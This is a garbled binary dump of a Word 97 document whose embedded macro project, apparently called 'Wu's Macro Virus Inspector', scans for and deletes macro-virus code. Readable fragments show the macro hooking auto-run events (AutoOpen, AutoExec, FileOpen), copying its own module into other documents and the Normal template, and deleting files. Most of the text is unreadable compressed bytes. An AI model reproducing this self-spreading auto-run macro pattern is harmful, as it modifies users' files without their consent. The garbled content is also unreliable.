ࡱ> !@" Oh+'0h  $ 0 <HPX`Ӧ˰ͬ˰ϸǼDZ˰˰˰ Normal.dot ˰t4Microsoft Word 8.0@G@\(@4~"st ՜.+,D՜.+,D hp|   z Ӧ˰ͬ˰ϸǼDZ Title 6> _PID_GUIDAN{08EACAF1-84F4-11D6-A2DF-00055D0B9964}S8-2 ^ z T T ~ z f ~ {v h ~zNNx0Wz  zR{vS be t^ g e ёUSMONl^CQR҉R ^ ST TS[ e US MOT T '` (T T Q [^ z ё z s^ z ё "R#N RzXT RzXTD@DFHJLNPRTVXZ\^`bdfhjlnprtvxz|~ bZ\^`bdfhjlnprtvx$q$$lhִ$+06  $$xz|~$$$$q$$lhִ$+06  $$q$$lhִ$+06  $$$q$$lhִ$+06  $$   "$&(*,.02468:<>@BDFHJLNPRTVXZ\^`bd T$$$$q$$lhִ$+06    $$q$$lhִ$+06  $$ "$&(*,$q$$lhִ$+06  $$,.02468:<>@BDFHJ$$$$q$$lhִ$+06  JLNPRTVXZ\^`b$q$$lhִ$+06  $$ bdq$$lhִ$+06           [2@2cke$1$CJKHPJmH nHA@؞k=W[SO|$<$Zx,Jb  Unknownguestlijun[l"z Administrator %&-EJQRVW[\etuv [2@2cke$1$CJKHPJmH nHA@؞k=W[SO|$ |Zx,Jb   EJQRVW[\enosq{~%&tuxy}~2{~guestD:\nbcs\[l"zh!-!),.:;?]}    & 6"0000 0 0 00000 =@\]^([{  0 0 00000;[ird ^zT T~zf~{vh[l"zM $Rbjbj'2'2&EXEX|] \dddddddd$#H<Kddddd<ddTddddd ՟"vRoot Entry "  F ՟"B 1Table.,,(X_pWordDocument"  &SummaryInformation  0(PXh'5 6 ?$%h\2CD#jik =@\]^([{  0 0 00000;[ir ^zT T~zf~{vhguestguest ՜.+,D՜.+,D hp|   z Ӧ˰ͬ˰ϸǼDZ Title 6> _PID_GUIDAN{08EACAF1-84F4-11D6-A2DF-00055D0B9964} Oh+'0h  $ 0 <HPX`Ӧ˰ͬ˰ϸǼDZ˰˰˰ Normal.dot ˰t4Microsoft Word 8.0@G@\(@4~"C:\WINDOWS\SYSTEM\STDOLE2.TLBstdole Ap"7#J&l  !"$%&'()*-201]\j^_hikRoot Entry "  FE/ 1Table.,,(XpWordDocument"  9$SummaryInformation  0(PXhDocumentSummaryInformation8   #E<] dD |il] dxd}{] d] d4(S"SS"6"(1normal.ThisDocumentǁ=]$*\Rffff*1e3d127f0c ($H` $Fo $s  $0h@0MExAttribute VB_Name = "ThisDocument" Bas1normal.VCreatabl`False PredeclaIdxTru "ExposeTemplate Deriv$CustomizcrU (A 4iacrU @pDz0* pHdProjectQ(@= l ǁ=] J< rstdole>stdoleP f%\*\G{00 Oh+'0h  $ 0 <HPX`Ӧ˰ͬ˰ϸǼDZ˰guestͬues Normal.dotguest.d3esMicrosoft Word 8.0@F#@\(@~[69 ՜.+,D՜.+,D hp|   z Ӧ˰ͬ˰ϸǼDZ Title 6> _PID_GUIDAN{08EACAF1-84F4-11D6-A2DF-00055D0B9964} 6 "$&(.02468>@FHJLNPRT<$@CJ @CJo(@@o( CJ$PJo( OJPJo(CJ$OJPJo(,7&P 182P0A .!"#$%S z [2@2cke$1$CJKHPJmH nHA@؞k=W[SO|$<$Zx,Jb  Unknownguest EJQRVW[\enosq{~%&tuxy}~2{~guestD:\nbcs\[l"zh _PID_GUIDAN{08EACAF1-84F4-11D6-A2DF-00055D0B9964} Oh+'0h  $ 0 <HPX`Ӧ˰ͬ˰ϸǼDZ˰guestͬues Normal.dotguest.d3esMicrosoft Word 8.0@F#@\(@~[69C:\WINDOWS\SYSTEM\STDOLE2.TLBstdole Ap"7#J&l㬀 x Inspector Version 8.2XZZDZ0ZHZ`ZxZWu's Macro Virus Inspector Z 4 *!6 2! 4 *%8 4'0s h'0f(Z 2$0'4  4  2! *B@<,zFha 4  4 *B@>hxhplh *!6  *B@>8l0  '  F H DBJDelete From Line Fto  F H A@LlZ 8Dim cmd As CodeModule  D!R  D%PuHh@T8  D%V'4!vbext_pk_Proc)  D%X'H" vbext_pk_Proc)F 4 D%ZWu \  D 4 HAB1.huTxlpPZ  " `!  \  `MAINANh l Document) VBProjectZ( VBProjectZ@ZXZpZ CodeModuleZ VBComponentsZZAn 2$0u0h( 2!l'l '6 2!p.d d!r.j h j!6 h j%8!t.` `A^ h h j!6 h j%8!t.` Scanning In `!A@L  " ` AN  `A^! h! 2A:! prj.VBComponents(1).Activate  6 A@@ l 2Av$"a 2(l0"hxap l 2(lD"hPhHl@Z@Document 2 z 2Abp" 2 | 2Ab"  ɱ δA@L"aδֺ겡A@Lhh' lXXZZ $u0h( MsgBox "Init""Document_Close Document_Open AutoCloseAutoOpen Document_NewAutoExecAutoNewAutoExitD'" !! A~: vbArchive) !.f fA' A@@'$l Wu's SubAxlWu's SubAxlHWu's SubAxlWu's SubAxlWu's SubZ $5 !pA:Axh nl( A B@Blh 'f 'l( A@LlhZ0 2B@ B@ B@ z!<. B@ B@ 2B@B  B@u $ 9 9C@nlP Z Ƿ񽫴ļ  ɾ  .$'  d(a   uhhT A@ Killed!ALuTCan not kill file ALl Dim doc As DocumentZ( Z@ ZX Zp Z Z 2!' 2! A~ 2!' a  2B@hu4 TempName = " c:\~XXXX1234567ToBeDelted" & "TMP.dot" MsgBox "open temp". doc.SaveAs FileName:=TempName, fileformat:=1 doc.Close Kill TempName On Error GoTo NewDocErr/ Set doc = Documents.Add(Template:=TempName) doc.SaveAs FileName:=NewNameu80(ʧܣA@l Dim pprj As Variant 'VBProjectZ  VBComponentZ8 ZP ZVersionh '.( j d!r . j!t!R  j!t%P j.(?' j!t%Z'   \'4 4    4  $$'hshx jf` Z  VBProjectZ .'& d !!! d$'  &  '& (.h df !!A Installed .A@lh0 Z  VBComponent j 2!p!r j!  j.s h .f  Z(  VBProjectZ@ X  VBComponentZp Z Z VirusInspect 2!l'l .j 2!p$'  &LQEuP   Upgraded .ALa Installed .ALh A@A@A@k 2 $.  2!p!r%<.7vbext_ct_StdModule )  (h  !t!R !tBJ j!t!R j!t%Z !tB l 2! 2Bh l XAttribute VB_Name = "VirusInspect" ' 0or Version 8.2 OptExpl@icit Dim KillCount Asxteger 2 sAutos 6Varian9bInitedBoolean5Latest{Doubleg_VBCom#JHDetedLisNew 0Coll ConLogo%Sng}Wu's Macro |pFunc{2(doc@R)InziFi61 To  T.c If *. Item(i)) The *i Exit T End* Nex 0  Sub Set!Flag 9, ByVal f6j)dK;A: A7f/i < 1 (q.AddGE5Els@#A> 0Remove QKGA ABC rReg(WhilePm @;,1endZGBDelC`ode(cXst, nYLon&gG= + 1all cm.Lines( ShowStatus (" Frg " & @b& "to+ na""a U ~Si@EAqi 'AcmB|!Moduy#a'A7NotFind( , 1B`Of `B^@! 8 O n Err nGo7m@ R Proc "rta F'vbd_pk_Jn`k$MH pxIn!("1), "Wu",T` A@pare)n`Cg9c5C, * D~:M`D!-(/ĥ !2%7AiaEach "In ")7md,?s) aBMmd&MAIN"$ Am!") 'Document 'VB@?jCprjo# obC.*,jda1 'bOa ܡEon`s ! savl 5*S4= o."AHp@d #X1 =A.pu 'j7ۢr. = qj).Q1$W0$"jm(V"Scanni3QV14 Q?6$A04 i/0OdO !5, Tru:e`'Aj(1).AАvsQ%Q;RRPqxu#a% afeS-Dq1)9P#FaV0}If#Xy FE+!GAll:DG !# bL`aoTemplAofJ9,ɱRδ δֺa= TbY*qKAQUXq`$m&كt"'MsgBox " X= Ar(rayoc_CPlose}"_POpen_S"!HFExec   1 ?t% InfprTo(0%\!?u=wEU( ! 4?o!?lĺ;7?o??ub( //!CF Ï,t@" With Dialogs(wdA,.5N-Ced"\Ye[, Q e) Call DetectAllEnd If With$Sub  DocClose(On Error GoTo normaInfTo(@Activeju0menthL:  =Skip -.iw0 FunWon MsgMode(s As Variad Int0eger" = msoBoonButtonYesn'qShowStatus(@ByVal .S`tring` B|ar(JHLes, Option),For ce7YBoolean+FalsчF 65Copbydoc~, NewNameŁ SZDim W | .^ateCSel@o*.Wh$StoryMt=Bzs.Add#PasA"| SaveChanges:=C promptJ;(AkExit L @ Dialo gs(wdCFileC.BS=8SA.f ftlwd@rmat V.n TKillA(PathlrA@,Box("Ƿļ" & & " ɾ", vbNoCancel, Logo5If ( vb) Then PdyNo+ Ba7@C " d"^#ed!"7@ $:M" t k - a6##%lSaf"?(PA/ '@Ahh %e, Is =hw!H1iHEN+ G(l'`8'#0vR d !nH "ʧܣ 4(yGetVer(prj!+5Doubl0( '1p  'VB0Proj@hS2VB8Compon@$er71I8i2Const Tagg" sn 00#g__othEach ѓIn .`z.B.Code@ule.Find(QX, 1"CountOfL9s +R)V  b2ݧ .&-%o= b ( $Fi0InPm,QDTFar5e1i > 0#F `(Right(Len) - i0ٰ)) @N@,qB P W-G L@6st()%-(- -eaE0N&w0@0''This?.Applica(E0$)3@8BB*> pd"? t(@ Sub setupg NUMXI0=Ped}5b 0vF06d9|~, zm#!hHp AjLPKr"Mes V>^+e0x$u  `Y[, bjp )Z*/sPd1ϡc SZmodnŹ"Viruspagg sC[`5 !40jC CaseIs >=1: S%NJ,pq/MH"Upgraded tq+110KCg"6/$"BeeH Beep End Select4Set ObjCom = FoundMod(doc, modname)XIf (XIs Nothing) ThenH.VBProj gponents.Add(1) 'vbext_ct_St{ule so|.NmIBfCallh.0Codef(.DteLines((1,C}tOf>'Insert'VBk 7 3 + 1)6 savedOn Error Resume NqFSAs.Full#C SubACionZ` WholeStory`Copyƿ`Paste` SaveChangest`promptm`SaveAsf;`wdDialogFileSaveAsN` fileformat`wdFormatDocument`KillFileű`Path2`ri`MsgBoxR` vbYesNoCancelq`vbCancel'`vbNo%`Kill`TempName! `nextline` vbArchive y`IsTemp;` SaveFormat`ErrSave7` NewDocErr.T`GetVerB`VerStr#`Tag&`NoVerO`Val`Right ` GetLatest`Verw`VBE` VBProjects'`setup`FoundModz`ObjCom%`modname:p`Beep` InsertLines`l   $020430-C 0046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB# Automation ^mMSFo@rms> MSFErm@s/z pF85233722-264A-11D4-A2DFF4AC6CE3ACF3.TWD#MicrosPoft = ` Ob Libr8ary9P0rP95306EE3-2824Pc:\wi@ndows\JP \VBE\(EX(.E .`M Cxn@UalCxnTax +2 ,CN 6;+OfficDO@fiTcBxG{a8D04C-5BFf01B-BDE5fAA@ 42fD:\MICROSOFT OFFICE\MSO97.D LLg 8.0Eh}³ThisDocumentN2-Th2sD@FcuQenHB1B,B,B{"B+BCVirusInspC+ICVr@sI@sp`)cF{A!bK)^ *\CNormalrU~~~~~~~~j ] d    ] dq1 ThisDocumentProjectF=C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLLVBA  9P F &D:\Microsoft Office\Office\MSWORD8.OLBWord )Q`0FC:\WINDOWS\SYSTEM\STDOLE2.TLBstdole Ap"7#J&la^ *\G{000204EF-0000-0000-C000-000000000046}#3.0#9#C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\VBA\VBA332.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.0#0#D:\Microsoft Office\Office\MSWORD8.OLB#Microsoft Word 8.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\WINDOWS\SYSTEM\STDOLE2.TLB#OLE Automation*\G{85233722-264A-11D4-A2DF-0004AC6CE3AC}#2.0#0#C:\WINDOWS\SYSTEM\MSForms.TWD#Microsoft Forms 2.0 Object Library*\G{95306EE3-2824-11D4-A2DF-0004AC6CE3AC}#2.0#0#c:\windows\TEMP\VBE\MSForms.EXD#Microsoft Forms 2.0 Object Library.E .`M *\CNormal*\CNormal6;+*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.0#0#D:\MICROSOFT OFFICE\OFFICE\MSO97.DLL#Microsoft Office 8.0 Object Libraryǁ=]}ThisDocument 1e3d127f0c*D{VirusInspect 1f3d1281c7*DA=8] d] dH 7RfV FormatNameWordk`VBA`Win16~`Win32`Mac`1p`stdole``MSFormsC` ThisDocument<` _Evaluate`normal`Officeu`Project-`Documentj`Module1b` VirusInspect` KillCount ` sAutoNamesG`bInited$}` LatestVerS`g_VBComu` DetectedList` CollectionW`Logo`Detecteds^`doc`i``count0v`Itemz`SetDetectedFlag۵`Addr`Removeϱ`ClearReg` DeleteCode$k`cm\`st(_`ne` DeleteLines ` ShowStatus`KillSubm`Findn` CountOfLines!\`Erro` ProcStartLine$`ProcCountLines`Lines` vbTextCompare Q` KillAutoMod`md:^` KillVirusR`prj:`obj`ja`VBCom`savedd`Init\[` VBProjectOh` VBComponents '` CodeModule`SafeSave` DetectAllx` Documents` Templatesh`SetAttrC` Application*`NormalTemplateq`FullNameО`InfectToL`AutoExec`AutoExit`AutoOpen*`AutoNew\3`FileOpen `Dialogs`wdDialogFileOpen`Show`ActiveDocument\`DocClose=`Skip`MsgModeo`sj`msoBalloonButtonYes` StatusBarʜ` MsgModeLessz` ForceShow `CopyTo[`NewName#`NewDoc+`Activate|` SelectC:\WINDOWS\SYSTEM\MSForms.TWDMSForms 1y.E .`M n0$(lc:\windows\TEMP\VBE\MSForms.EXD 9yL-[DR $D:\MICROSOFT OFFICE\OFFICE\MSO97.DLLOffice Yk F] dD |il] d FDocument @Module1 VirusInspectzrU~}  ipThisDocumentThisDocumentVirusInspectVirusInspectID="{08EACAF2-84F4-11D6-A2DF-00055D0B9964}" Document=ThisDocument/&H00000000 Module=VirusInspect Name="Project" HelpContextID="0" CMG="EBE90A14EC18EC18EC18EC18" DPB="C9CB28AD29AD29AD" GCompObjDfC="A7A54658FAE8D9E9D9E926" [Host Extender Info] &H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000 [Workspace] ThisDocument=0, 0, 0, 0, C VirusInspect=154, 154, 738, 661,   FMicrosoft Word ĵ MSWordDocWord.Document.89q